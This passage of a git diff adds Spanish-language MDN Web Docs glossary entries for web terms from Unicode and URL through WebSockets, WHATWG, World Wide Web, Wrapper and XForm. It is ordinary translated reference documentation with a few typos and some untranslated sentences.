+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures">Tipos de datos y estructuras de datos en JavaScript</a></li>
+ <li><a href="http://en.wikipedia.org/wiki/Undefined_value">Valor undefined en Wikipedia</a></li>
+</ul>
diff --git a/files/es/glossary/unicode/index.html b/files/es/glossary/unicode/index.html
new file mode 100644
index 0000000000..bbe4905def
--- /dev/null
+++ b/files/es/glossary/unicode/index.html
@@ -0,0 +1,19 @@
+---
+title: Unicode
+slug: Glossary/Unicode
+tags:
+  - Infraestructura
+translation_of: Glossary/Unicode
+---
+<p><span class="seoSummary">Unicode es un {{Glossary("Character set", "conjunto de caracteres")}} estándar que numera y define {{Glossary("Character", "caracteres")}} de diferentes idiomas, sistemas de escritura y símbolos.</span> Al asignar un número a cada caracter, los programadores pueden crear {{Glossary("Character encoding", "codificaciones de caracteres")}}, para permitir que las computadoras almacenen, procesen y transmitan cualquier combinación de idiomas en el mismo archivo o programa.</p>
+
+<p>Antes de Unicode, era difícil y propenso a errores mezclar idiomas en los mismos datos. Por ejemplo, un juego de caracteres almacenaría caracteres japoneses y otro almacenaría el alfabeto árabe. Si no estuviera claramente marcado qué partes de los datos estaban en qué juego de caracteres, otros programas y computadoras mostrarían el texto incorrectamente o lo dañarían durante el procesamiento. Si alguna vez has visto texto en el que caracteres como comillas entrecruzadas (<code>“”</code>) fueron reemplazadas por un galimatías como <code>£</code>, entonces has visto este problema, conocido como {{Interwiki("wikipedia", "Mojibake")}}.</p>
+
+<p>La codificación de caracteres Unicode más común en la Web es {{Glossary("UTF-8")}}. Existen otras codificaciones, como UTF-16 o la obsoleta UCS-2, pero se recomienda UTF-8.</p>
+
+<h2 id="Aprende_más">Aprende más</h2>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "Unicode")}} en Wikipedia</li>
+ <li><a href="http://www.unicode.org/standard/principles.html">El estándar Unicode: Introducción técnica</a></li>
+</ul>
diff --git a/files/es/glossary/uri/index.html b/files/es/glossary/uri/index.html
new file mode 100644
index 0000000000..60606c7274
--- /dev/null
+++ b/files/es/glossary/uri/index.html
@@ -0,0 +1,20 @@
+---
+title: URI
+slug: Glossary/URI
+tags:
+  - Glosario
+  - Identificador Uniforme de Recursos
+translation_of: Glossary/URI
+---
+<p>Un <strong>URI</strong><em> (Identificador Uniforme de Recursos de sus siglas en inglés: Uniform Resource Identifier)</em> es una cadena que se refiere a un recurso. Los más comunes son {{Glossary("URL","URLs")}}, que identifican el recurso dando su ubicación en la Web. {{Glossary("URN","URNs")}}, por el contrario, se refiere a un recurso por un nombre, en un espacio de nombres determinados, como el ISBN(<span class="js-about-module-abstr">International Standard Book Number)</span> de un libro.</p>
+
+<h2 id="Aprende_más">Aprende más</h2>
+
+<h3 id="Conocimientos_Generales">Conocimientos Generales</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "URI")}} en Wikipedia</li>
+ <li><a href="http://tools.ietf.org/html/rfc3986">RFC 3986 on URI</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/data_URIs">data URIs</a></li>
+ <li><a href="/en-US/docs/URI/www_vs_non-www_URLs">www vs non-www</a></li>
+</ul>
diff --git a/files/es/glossary/url/index.html b/files/es/glossary/url/index.html
new file mode 100644
index 0000000000..a8d13e75ab
--- /dev/null
+++ b/files/es/glossary/url/index.html
@@ -0,0 +1,34 @@
+---
+title: URL
+slug: Glossary/URL
+tags:
+  - Glosario
+  - Infraestructura
+  - 'l10n:priority'
+translation_of: Glossary/URL
+---
+<p>La «<strong><em>Uniform Resource Locator</em></strong>» (<strong>URL</strong> o <em>Localizadora Uniforme de Recursos</em> en Español) es una cadena de texto que especifica dónde se puede encontrar un recurso (como una página web, una imagen o un video) en Internet.</p>
+
+<p>En el contexto de {{Glossary("HTTP")}}, las URLs se denominan "dirección web" o "enlace". Tu {{Glossary("browser", "navegador")}} muestra las URLs en su barra de direcciones, por ejemplo: <code>https://developer.mozilla.org</code> — Algunos navegadores muestran solo la parte de una URL después de "//", es decir, el {{Glossary("Domain name", "Nombre de dominio")}}.</p>
+
+<p>Las URLs también se pueden utilizar para la transferencia de archivos ({{Glossary("FTP")}}), correos electrónicos ({{Glossary("SMTP")}}) y otras aplicaciones.</p>
+
+<h2 id="Aprende_más">Aprende más</h2>
+
+<h3 id="Conocimientos_generales">Conocimientos generales</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "URL")}} en Wikipedia</li>
+</ul>
+
+<h3 id="Aprende_sobre_esto">Aprende sobre esto</h3>
+
+<ul>
+ <li>{{web.link("/es/Learn/Understanding_URLs", "Comprender las URLs y su estructura")}}</li>
+</ul>
+
+<h3 id="Especificación">Especificación</h3>
+
+<ul>
+ <li>La sintaxis de las URLs se define en el <a href="https://url.spec.whatwg.org/">lleno de vida Estándar de URLs</a>.</li>
+</ul>
diff --git a/files/es/glossary/utf-8/index.html b/files/es/glossary/utf-8/index.html
new file mode 100644
index 0000000000..1a714ad7ea
--- /dev/null
+++ b/files/es/glossary/utf-8/index.html
@@ -0,0 +1,27 @@
+---
+title: UTF-8
+slug: Glossary/UTF-8
+tags:
+  - ASCII
+  - Caracter
+  - Caractères
+  - Codificación
+  - CodingScripting
+  - Glosario
+  - HTML
+  - JavaScript
+  - Utf-8
+translation_of: Glossary/UTF-8
+---
+<p>UTF-8 (UCS Transformation Format 8) es la {{Glossary("Character encoding", "Codificación de caracteres")}} más común en la red. El número de bytes que representan un carácter pueden ser desde uno hasta cuatro. UTF-8 es retrocompatible con {{Glossary("ASCII")}} y puede representar cualquier carácter Unicode estandar.</p>
+
+<p>Los primeros 128 carácteres UTF-8 se ajustan a los 128 primeros carácteres ASCII, lo cual significa que los textos escritos en ASCII son válidos en UTF-8. El resto de caracteres usan de dos a cuatro bytes. Cada byte reserva unos bits para albergar información sobre la codificación. Como los caracteres que no son ASCII necesitan más de un byte cuando son almacenados, corren el riesgo de corromperse si estos bytes son separados y no se vuelven a juntar.</p>
+
+<h2 id="Aprende_más" style="line-height: 18px; font-size: 1.28571rem;"><strong style="font-size: 1.71428571428571rem;">Aprende más</strong></h2>
+
+<h3 id="Conocimientos_generales"><strong>Conocimientos generales</strong></h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "UTF-8")}} en Wikipedia</li>
+ <li><a href="http://www.unicode.org/faq/utf_bom.html#UTF8">PF sobre UTF-8 en el sitio web de Unicode</a></li>
+</ul>
diff --git a/files/es/glossary/ux/index.html b/files/es/glossary/ux/index.html
new file mode 100644
index 0000000000..e2cf73b793
--- /dev/null
+++ b/files/es/glossary/ux/index.html
@@ -0,0 +1,22 @@
+---
+title: UX
+slug: Glossary/UX
+tags:
+  - Accessibility
+  - Composing
+  - Design
+  - Glossary
+  - Navigation
+translation_of: Glossary/UX
+---
+<p><span class="VIiyi" lang="es"><span class="ChMk0b JLqJ4b"><span><strong>UX</strong> es un acrónimo de User eXperience.</span></span> <span class="ChMk0b JLqJ4b"><span>Es el estudio de la interacción entre usuarios y un sistema.</span></span> <span class="ChMk0b JLqJ4b"><span>Su objetivo es hacer que un sistema sea fácil de interactuar desde el punto de vista del usuario.</span></span><span class="JLqJ4b"><span> </span></span></span></p>
+
+<p><span class="VIiyi" lang="es"><span class="ChMk0b JLqJ4b"><span>El sistema puede ser cualquier tipo de producto o aplicación con el que un usuario final deba interactuar.</span></span> <span class="ChMk0b JLqJ4b"><span>Los estudios de UX realizados en una página web, por ejemplo, pueden demostrar si es fácil para los usuarios entender la página, navegar a diferentes áreas y completar tareas comunes, y dónde dichos procesos podrían tener menos fricciones.</span></span></span></p>
+
+<h2 id="Saber_más"><strong>Saber más</strong></h2>
+
+<h3 id="Conocimiento_general">Conocimiento general</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "User experience")}} on Wikipedia</li>
+</ul>
diff --git a/files/es/glossary/validador/index.html b/files/es/glossary/validador/index.html
new file mode 100644
index 0000000000..8b105054a9
--- /dev/null
+++ b/files/es/glossary/validador/index.html
@@ -0,0 +1,19 @@
+---
+title: Validador
+slug: Glossary/Validador
+tags:
+  - Glosario
+  - Principiante
+  - Seguridad
+translation_of: Glossary/Validator
+---
+<p id="Summary" style="line-height: 30px;">Un validador es un programa que comprueba errores de sintaxis en el código. Las validadores pueden ser creados para cualquier formato o lenguaje, pero en este contexto se habla de herramientas que comprueban {{Glossary("HTML")}}, {{Glossary("CSS")}}, y {{Glossary("XML")}}.</p>
+
+<h2 id="Saber_más"><strong style="font-size: 2.142857142857143rem; font-weight: 700; letter-spacing: -1px; line-height: 30px;">Saber más</strong></h2>
+
+<h3 id="Conocimiento_general" style="line-height: 24px;">Conocimiento general</h3>
+
+<ul>
+ <li><a href="https://es.wikipedia.org/wiki/Validador">Validador</a> en Wikipedia</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Tools/Validators">Lista de validadores</a></li>
+</ul>
diff --git a/files/es/glossary/valor/index.html b/files/es/glossary/valor/index.html
new file mode 100644
index 0000000000..d0d2cc2bf8
--- /dev/null
+++ b/files/es/glossary/valor/index.html
@@ -0,0 +1,19 @@
+---
+title: Valor
+slug: Glossary/Valor
+tags:
+  - CodingScripting
+  - Glosario
+translation_of: Glossary/Value
+---
+<div>{{jsSidebar}}</div>
+
+<p>En el contexto de datos o un objeto <strong>{{Glossary("Wrapper", "wrapper")}}</strong> alrededor de esos datos, el valor es el <strong>{{Glossary("Primitive", "valor primitivo")}}</strong> que contiene el contenedor de objetos. En el contexto de una <strong>{{Glossary("Variable", "variable")}}</strong> o <strong>{{Glossary("Property", "property")}}</strong>, el El valor puede ser primitivo o <strong>{{Glossary("Object reference", "Referencia de objeto")}}</strong>.</p>
+
+<h2 id="Aprende_más">Aprende más</h2>
+
+<h3 id="Conocimientos_generales">Conocimientos generales</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "Primitive wrapper class")}} en Wikipedia</li>
+</ul>
diff --git a/files/es/glossary/variable/index.html b/files/es/glossary/variable/index.html
new file mode 100644
index 0000000000..416e848ef2
--- /dev/null
+++ b/files/es/glossary/variable/index.html
@@ -0,0 +1,27 @@
+---
+title: Variable
+slug: Glossary/Variable
+tags:
+  - CodingScripting
+  - Glosario
+  - JavaScript
+translation_of: Glossary/Variable
+---
+<div>{{jsSidebar}}</div>
+
+<p>Una variable es una ubicación nombrada para almacenar un {{Glossary("Value", "valor")}}. De esta manera se puede acceder a un valor impredecible por medio de un nombre predeterminado.</p>
+
+<h2 id="Aprende_más">Aprende más</h2>
+
+<h3 id="Conocimientos_generales">Conocimientos generales</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "Variable (computer science)")}} en Wikipedia</li>
+</ul>
+
+<h3 id="Referencia_técnica">Referencia técnica</h3>
+
+<ul>
+ <li>{{jsxref("../Guide/Grammar_and_types", "Declarar variables en JavaScript", "#Declaraciones")}}</li>
+ <li>{{jsxref("Sentencias/var", "Declaración var en JavaScript")}}</li>
+</ul>
diff --git a/files/es/glossary/vendor_prefix/index.html b/files/es/glossary/vendor_prefix/index.html
new file mode 100644
index 0000000000..5b29860b61
--- /dev/null
+++ b/files/es/glossary/vendor_prefix/index.html
@@ -0,0 +1,66 @@
+---
+title: Vendor Prefix
+slug: Glossary/Vendor_Prefix
+tags:
+  - CodingScripting
+  - Glossary
+translation_of: Glossary/Vendor_Prefix
+---
+<p> </p>
+
+<p>Los proveedores de navegadores a veces agregan prefijos a las propiedades de CSS experimentales o no estándar y las API de JavaScript, por lo que los desarrolladores pueden experimentar con nuevas ideas mientras que, en teoría, evitan que se confíe en sus experimentos y luego rompan el código de los desarrolladores web durante el proceso de estandarización. Los desarrolladores deben esperar para incluir la propiedad sin prefijar hasta que se estandarice el comportamiento del navegador.</p>
+
+<div class="note">
+<p>Los proveedores de navegadores están trabajando para dejar de usar los prefijos de proveedores para funciones experimentales. Los desarrolladores web los han estado utilizando en sitios web de producción, a pesar de su naturaleza experimental. Esto ha hecho que sea más difícil para los proveedores de navegadores garantizar la compatibilidad y trabajar en nuevas características; También ha sido perjudicial para los navegadores más pequeños que terminan obligados a agregar prefijos de otros navegadores para cargar sitios web populares.</p>
+
+<p>Últimamente, la tendencia es agregar características experimentales detrás de las banderas o preferencias controladas por el usuario, y crear especificaciones más pequeñas que puedan alcanzar un estado estable mucho más rápidamente.</p>
+</div>
+
+<h2 id="Prefijos_CSS">Prefijos CSS</h2>
+
+<p><a class="local-anchor" href="https://developer.mozilla.org/en-US/docs/Glossary/Vendor_Prefix$translate?tolocale=es#CSS_prefixes"><span>Section</span></a></p>
+
+<p>Los principales navegadores usan los siguientes prefijos:</p>
+
+<ul>
+ <li><code>-webkit-</code> (Chrome, Safari, nuevas versiones de Opera, casi todos los navegadores iOS (incluyendo Firefox for iOS); basicamente, cualquier navegador basado en WebKit)</li>
+ <li><code>-moz-</code> (Firefox)</li>
+ <li><code>-o-</code> (Versiónes antiguas, pre-Webkit, de Opera)</li>
+ <li><code>-ms-</code> (Internet Explorer y Microsoft Edge)</li>
+</ul>
+
+<h2 id="Prefijos_API">Prefijos API</h2>
+
+<p>Históricamente, los proveedores también han usado prefijos para las API experimentales. Si una interfaz completa es experimental, entonces el nombre de la interfaz tiene un prefijo (pero no las propiedades o los métodos incluidos). Si se agrega una propiedad o método experimental a una interfaz estandarizada, entonces el método o la propiedad individual tiene el prefijo.</p>
+
+<h3 id="Prefijos_de_interfaz">Prefijos de interfaz</h3>
+
+<p>Los prefijos para los nombres de interfaz son en mayúsculas:</p>
+
+<ul>
+ <li><code>WebKit</code> (Chrome, Safari, versiones más recientes de Opera, casi todos los navegadores iOS (incluido Firefox para iOS); Básicamente, cualquier navegador basado en WebKit.)</li>
+ <li><code>Moz</code> (Firefox)</li>
+ <li><code>O</code> (Versiónes antiguas, pre-Webkit, de Opera)</li>
+ <li><code>MS</code> (Internet Explorer y Microsoft Edge)</li>
+</ul>
+
+<h3 id="Prefijos_de_propiedad_y_método">Prefijos de propiedad y método</h3>
+
+<p>Los prefijos para propiedades y métodos son minúsculas:</p>
+
+<ul>
+ <li><code>webkit</code> (Chrome, Safari, versiones más recientes de Opera, casi todos los navegadores iOS (incluido Firefox para iOS); básicamente, cualquier navegador basado en WebKit)</li>
+ <li><code>moz</code> (Firefox)</li>
+ <li><code>o</code> (Versiónes antiguas, pre-Webkit, de Opera)</li>
+ <li><code>ms</code> (Internet Explorer y Microsoft Edge)</li>
+</ul>
+
+<h2 id="Aprende_más">Aprende más</h2>
+
+<h3 id="Conocimientos_generales">Conocimientos generales</h3>
+
+<ul>
+ <li><span>{{Interwiki("wikipedia", "CSS_hack#Browser_prefixes", "Vendor prefix")}} on Wikipedia</span></li>
+</ul>
+
+<div>{{QuickLinksWithSubpages("/en-US/docs/Glossary")}}</div>
diff --git a/files/es/glossary/viewport/index.html b/files/es/glossary/viewport/index.html
new file mode 100644
index 0000000000..972ecce1a6
--- /dev/null
+++ b/files/es/glossary/viewport/index.html
@@ -0,0 +1,23 @@
+---
+title: Viewport
+slug: Glossary/Viewport
+tags:
+  - Codificación
+  - Glosario
+translation_of: Glossary/Viewport
+---
+<p>Un viewport representa la región poligonal (normalmente rectangular) en gráficas de computación que está siendo visualizada en ese instante. En términos de navegadores web, se refiere a la parte del documento que usted está viendo, la cual es actualmente visible en su ventana (o la pantalla, si el documento está siendo visto en modo pantalla completa). El contenido fuera del viewport no es visible en la pantalla hasta que sea desplazado dentro de él.</p>
+
+<p>La porción del viewport que se encuentra visible en ese momento se denomina <strong>visual viewport</strong>. Este puede ser más pequeño que el viewport de diseño, por ejemplo, cuando el usuario hace uso del zoom. El viewport de diseño (<strong>layout viewport</strong>), sigue siendo el mismo, pero el visual viewport se empequeñeció.</p>
+
+<h2 id="Aprende_más">Aprende más</h2>
+
+<h3 id="Conocimiento_General">Conocimiento General</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "Viewport")}} en Wikipedia</li>
+ <li><a href="https://stackoverflow.com/questions/2939693/what-is-viewport-in-html">What is viewport in HTML</a> en Stackoverflow</li>
+ <li><a href="https://andylangton.co.uk/blog/development/get-viewportwindow-size-width-and-height-javascript">Get viewport/window size (width and height) with javascript</a></li>
+ <li><a href="https://www.quirksmode.org/mobile/viewports.html">A tale of two viewports</a> (Quirksmode)</li>
+ <li><a href="/en-US/docs/Web/API/Visual_Viewport_API">VisualViewport API</a></li>
+</ul>
diff --git a/files/es/glossary/wcag/index.html b/files/es/glossary/wcag/index.html
new file mode 100644
index 0000000000..07ceecee56
--- /dev/null
+++ b/files/es/glossary/wcag/index.html
@@ -0,0 +1,38 @@
+---
+title: WCAG
+slug: Glossary/WCAG
+tags:
+  - Accesibilidad
+  - Glosario
+  - Pautas Web
+  - WCAG
+translation_of: Glossary/WCAG
+---
+<p>Las <em>Pautas de Accesibilidad para el Contenido Web</em> (<strong>WCAG</strong>, por us siglas en inglés) son una recomendación publicada por el grupo {{Glossary("WAI","Web Accessibility Initiative")}} en el {{Glossary("W3C")}}. Describen un conjunto de pautas para hacer que el contenido sea accesible principalmente para personas con discapacidades, pero también para dispositivos de recursos limitados, como los teléfonos móviles.</p>
+
+<p>WCAG 2.0, que reemplazó a WCAG 1.0, se publicó como una recomendación del W3C el 11 de diciembre de 2008. Consta de 12 directrices organizadas en 4 principios (perceptibles, operables, comprensibles y robustos) y cada guía tiene criterios de éxito comprobables.</p>
+
+<p> </p>
+
+<p>WCAG uses three levels of conformance:</p>
+
+<ul>
+ <li>Prioridad 1: los desarrolladores web <strong>deben</strong> cumplir estos requisitos, de lo contrario, será imposible que uno o más grupos accedan al contenido web. La conformidad con este nivel se describe como A.</li>
+ <li>Prioridad 2: los desarrolladores web <strong>deberían</strong> cumplir estos requisitos, de lo contrario, a algunos grupos les resultará difícil acceder al contenido web. La conformidad con este nivel se describe como AA o doble-A.</li>
+ <li>Prioridad 3: los desarrolladores web <strong>pueden</strong> satisfacer estos requisitos para facilitar el acceso de algunos grupos al contenido web. La conformidad con este nivel se describe como AAA o triple-A.</li>
+</ul>
+
+<h2 id="Saber_más">Saber más</h2>
+
+<h3 id="Conocimientos_generales" style="line-height: 24px;">Conocimientos generales</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "Web_Content_Accessibility_Guidelines", "WCAG")}} en Wikipedia</li>
+</ul>
+
+<h3 id="Technical_knowledge">Technical knowledge</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Accessibility/Information_for_Web_authors">Información sobre accesibilidad en MDN</a></li>
+ <li><a href="http://www.w3.org/TR/WCAG20/">Las recomendaciones del WCAG 2.0 en el W3C</a></li>
+</ul>
diff --git a/files/es/glossary/webkit/index.html b/files/es/glossary/webkit/index.html
new file mode 100644
index 0000000000..d22e8889d6
--- /dev/null
+++ b/files/es/glossary/webkit/index.html
@@ -0,0 +1,32 @@
+---
+title: WebKit
+slug: Glossary/WebKit
+tags:
+  - Glosario
+  - HTML
+  - Intro
+  - LGPL
+  - Navegador
+  - Web
+  - WebKit
+translation_of: Glossary/WebKit
+---
+<p><em>WebKit</em> es un <em>framework </em>(marco o interfaz) que proporciona páginas web "bien formadas" basadas es su lenguaje de marcado. El principal navegador que utiliza este framework es <a href="/es/docs/Glossary/Apple_Safari">Safari</a>, aunque también lo hacen muchos otros navegadores web para dispositivos móviles (debido a que WebKit es muy portable y customizable).</p>
+
+<p>WebKit comenzó como una copia del KHTML de KDE y sus librerías KJS, pero desde entonces ha habido una gran multitud de particulares y empresas que han contribuido en su desarrollo (incluyendo KDE, Apple, Google, y Nokia).</p>
+
+<p>WebKit es una marca registrada de Apple, y es distribuido bajo la licencia BSD. Por otro lado, dos de sus más importantes componentes están bajo la licencia <a href="/es/docs/Glossary/LGPL">LGPL</a>: la libería de renderizado HTML de <strong>WebCore</strong> y el motor <strong>JavaScriptCore</strong>.</p>
+
+<h2 id="Para_saber_más...">Para saber más...</h2>
+
+<h3 id="Cultura_General" style="line-height: 24px;">Cultura General</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "WebKit")}} en Wikipedia</li>
+</ul>
+
+<h3 id="Referencia_técnica">Referencia técnica</h3>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/Webkit_Extensions">WebKit CSS extensions</a></li>
+</ul>
diff --git a/files/es/glossary/websockets/index.html b/files/es/glossary/websockets/index.html
new file mode 100644
index 0000000000..296e1d29fa
--- /dev/null
+++ b/files/es/glossary/websockets/index.html
@@ -0,0 +1,37 @@
+---
+title: WebSockets
+slug: Glossary/WebSockets
+tags:
+  - Connection
+  - Glossary
+  - Infrastructure
+  - Networking
+  - Protocols
+  - Web
+  - WebSocket
+translation_of: Glossary/WebSockets
+---
+<p><em>WebSocket </em>es un<em> </em> {{Glossary("protocolo")}} que permite establecer conexiones  {{Glossary("TCP")}} entre el {{Glossary("Server", "servidor")}} y el cliente, permitiendo así el transporte de datos en cualquier momento.</p>
+
+<p>Cualquier cliente o servidor de aplicaciones puede usar WebSockets, pero principalmente es usado por {{Glossary("Navegador", "browsers")}} y el servidor web. WebScoket permite enviar datos al cliente sin la necesidad de recibir ningún tipo de notificación, permitiendo la actualización dinámica del contenido.</p>
+
+<h2 id="Saber_más">Saber más</h2>
+
+<h3 id="Conocimiento_general" style="line-height: 24px;">Conocimiento general</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "Websocket")}} en Wikipedia</li>
+</ul>
+
+<h3 id="Referencia_técnica">Referencia técnica</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebSocket">WebSocket reference on MDN</a></li>
+</ul>
+
+<h3 id="Aprende_sobre_WebSockets">Aprende sobre WebSockets</h3>
+
+<ul>
+ <li><a href="/en-US/docs/WebSockets/Writing_WebSocket_client_applications">Writing WebSocket client applications</a></li>
+ <li><a href="/en-US/docs/WebSockets/Writing_WebSocket_servers">Writing WebSocket servers</a></li>
+</ul>
diff --git a/files/es/glossary/webvtt/index.html b/files/es/glossary/webvtt/index.html
new file mode 100644
index 0000000000..60cc60da0d
--- /dev/null
+++ b/files/es/glossary/webvtt/index.html
@@ -0,0 +1,29 @@
+---
+title: WebVTT
+slug: Glossary/WebVTT
+tags:
+  - Audio
+  - Glosario
+  - Video
+  - Web
+  - WebVTT
+translation_of: Glossary/WebVTT
+---
+<p>WebVTT (Pistas de Texto para Videos Wev) es una especificación del {{Glossary("W3C")}} para un formato de archivo para crear pistas de texto en combinación con el elemento HTML {{HTMLElement("track")}}.</p>
+
+<p>WebVTT files provide metadata that is time-aligned with audio or video content like captions or subtitles for video content, text video descriptions, chapters for content navigation, and more.</p>
+
+<h2 id="Para_saber_más">Para saber más</h2>
+
+<h3 id="Conocimiento_general">Conocimiento general</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "WebVTT")}} en Wikipedia</li>
+</ul>
+
+<h3 id="Referencia_técnica">Referencia técnica</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Video_Text_Tracks_Format">WebVTT</a> en MDN</li>
+ <li><a href="https://www.w3.org/TR/webvtt1/">Especificación</a></li>
+</ul>
diff --git a/files/es/glossary/whatwg/index.html b/files/es/glossary/whatwg/index.html
new file mode 100644
index 0000000000..12504c51ec
--- /dev/null
+++ b/files/es/glossary/whatwg/index.html
@@ -0,0 +1,30 @@
+---
+title: WHATWG
+slug: Glossary/WHATWG
+tags:
+  - Community
+  - Glossary
+  - HTML
+  - HTML5
+  - WHATWG
+  - Web
+translation_of: Glossary/WHATWG
+---
+<p>EL ( Grupo de trabajo de tecnología de aplicaciones de hipertexto web) por sus siglas en inglés WHATWG es una organización que mantinene y desarrolla  {{Glossary("HTML")}} y  {{Glossary("API", "APIs")}} para las aplicaciones Web. Antiguos empleados de Apple, Mozilla y Opera establecieron el WHATWG en el 2004.</p>
+
+<p>Los editores de especificación en el WHATWG investigan y recopilan comentarios para los documentos de especificación.  El grupo también tiene un pequeño comité de miembros invitados y autorizados para anular o reemplazar editores de especificación. Puedes unirte como un colaborador  registrándote en la <a href="https://whatwg.org/mailing-list">lista de correo</a>.</p>
+
+<p>De acuerdo con su sitio <a href="https://wiki.whatwg.org/wiki/FAQ#What_is_the_WHATWG.3F">web</a> , WHATWG es una respuesta al {{Glossary("W3C", "W3C's")}} lento progreso en los estándares Web, especialmente HTML,  que el W3C dejó de desarrollar para concentrarse en {{Glossary("XHTML")}}.</p>
+
+<div>El WHATWG mantiene especifiaciones para {{Glossary("HTML")}}, {{Glossary("DOM")}}, y {{Glossary("JavaScript")}}.</div>
+
+<div> </div>
+
+<h2 id="Learn_more">Learn more</h2>
+
+<h3 id="General_Knowledge" style="line-height: 24px;">General Knowledge</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "WHATWG")}} en Wikipedia</li>
+ <li><a href="http://wiki.whatwg.org/">WHATWG.org Official Website</a></li>
+</ul>
diff --git a/files/es/glossary/world_wide_web/index.html b/files/es/glossary/world_wide_web/index.html
new file mode 100644
index 0000000000..1119be16aa
--- /dev/null
+++ b/files/es/glossary/world_wide_web/index.html
@@ -0,0 +1,42 @@
+---
+title: World Wide Web
+slug: Glossary/World_Wide_Web
+tags:
+  - Glosario
+  - Intro
+  - Principiante
+  - WWW
+  - Web
+translation_of: Glossary/World_Wide_Web
+---
+<p>La <em>World Wide Web</em> —comúnmente conocida como <strong>WWW</strong>, <strong>W3</strong>, o <strong>la Web</strong>— es un sistema interconectado de páginas web públicas accesibles a través de {{Glossary("Internet")}} (art. en inglés). La Web no es lo mismo que el Internet: la Web es una de las muchas aplicaciones construidas sobre Internet.</p>
+
+<p>Tim Berners-Lee propuso la arquitectura de lo que es conocido como la World Wide Web. Él creó el primer servidor web ({{Glossary("Server","server")}}) (art. en inglés), el primer navegador de internet ({{Glossary("Browser","browser")}}) (art. en inglés), y la primera página web, en su computadora del laboratorio de investigación de física del CERN en 1990. En 1991, anunció su creación en el grupo de noticias alt.hypertext, marcando con esto el momento en que la Web se hizo pública.</p>
+
+<p>El sistema que nosotros conocemos hoy como "la Web" tiene varios componentes:</p>
+
+<ul>
+ <li>El protocolo <strong>{{Glossary("HTTP")}}</strong> (art. en inglés) dirige las transferencias de datos entre el servidor y el cliente.</li>
+ <li>Para acceder a un componente de la Web, el cliente proporciona un único identificador universal, llamado <strong>{{Glossary("URL")}}</strong> por sus siglas en inglés de Localizador Uniforme de Recursos (Uniform Resource Locator) o {{Glossary("URI")}} por sus siglas en inglés de Identificador Uniforme de Recursos (Uniform Resource Identifier) (formalmente llamado UDI por sus siglas en inglés de Identificador Universal de Documentos (Universal Document Identifier)).</li>
+ <li><strong>{{Glossary("HTML")}}</strong> por sus siglas en inglés de Lenguaje de Marcas de Hipertexto (Hypertext Markup Language) es el formato más común para publicar documentos web.</li>
+</ul>
+
+<p>Enlazar, o conectar recursos a través de {{Glossary("Hyperlink","hyperlinks")}} (hiperligas o hiperenlaces) (art. en inglés), es un concepto que define la Web, contribuyendo a su identidad como una colección de documentos conectados.</p>
+
+<p>Tan pronto como inventó la Web, Tim Berners-Lee fundó el Consorcio de la World Wide Web ({{Glossary("W3C")}} World Wide Web Consortium) (art. en inglés) para estandarizar y desarrollar el futuro de la Web. Este consorcio está compuesto por los principales grupos de interés de la Web, como son los desarrolladores de navegadores de internet, entidades de gobierno, investigadores, y universidades. Su misión incluye la educación y la superación.</p>
+
+<h2 id="Aprenda_más">Aprenda más</h2>
+
+<h3 id="Más_información_en">Más información en</h3>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/es/Learn">Entendiendo la Web</a></li>
+ <li><a href="https://learning.mozilla.org/web-literacy">Mapa para la enseñanza Web (Web literacy map)</a> (sitio en inglés, en el cual se muestra un inventario de las habilidades necesarias para el desarrollo Web y actividades de aprendizaje)</li>
+</ul>
+
+<h3 id="General_knowledge">General knowledge</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "World Wide Web")}} en Wikipedia</li>
+ <li><a href="http://w3.org">The W3C website (sitio en inglés)</a></li>
+</ul>
diff --git a/files/es/glossary/wrapper/index.html b/files/es/glossary/wrapper/index.html
new file mode 100644
index 0000000000..e6ecc8caa6
--- /dev/null
+++ b/files/es/glossary/wrapper/index.html
@@ -0,0 +1,31 @@
+---
+title: Wrapper
+slug: Glossary/Wrapper
+tags:
+  - Envoltorio
+  - Glosario
+  - Wrapper
+translation_of: Glossary/Wrapper
+---
+<p>En lenguajes de programación como JavaScript, un wrapper o envoltorio es una función que llama a una o varias funciones,  unas veces únicamente por convenio y otras para adaptarlas con el objetivo de hacer una tarea ligeramente diferente.</p>
+
+<p>Por ejemplo, las librerías SDK de AWS son un ejemplo de wrappers.</p>
+
+<h2 id="Saber_más">Saber más</h2>
+
+<h3 id="Conocimientos_generales">Conocimientos generales</h3>
+
+<p>{{Interwiki("wikipedia", "Wrapper function")}} on Wikipedia</p>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="https://developer.mozilla.org/es/docs/Glossary">MDN Web Docs Glossary</a>
+
+  <ol>
+   <li>{{Glossary("API")}}</li>
+   <li>{{Glossary("Class")}}</li>
+   <li>{{Glossary("Function")}}</li>
+  </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/es/glossary/xform/index.html b/files/es/glossary/xform/index.html
new file mode 100644
index 0000000000..6590baacdd
--- /dev/null
+++ b/files/es/glossary/xform/index.html
@@ -0,0 +1,14 @@
+---
+title: XForm
+slug: Glossary/XForm
+translation_of: Glossary/XForms
+---
+<p><strong>XForms </strong>es una norma para la creación de formularios web y el procesamiento de datos de formulario en formato  {{glossary("XML")}}. Actualmente ningún navegador soporta Xforms—sugerimos en su lugar utilizar los formularios en <a href="https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Forms">HTML5 forms</a>.</p>
+
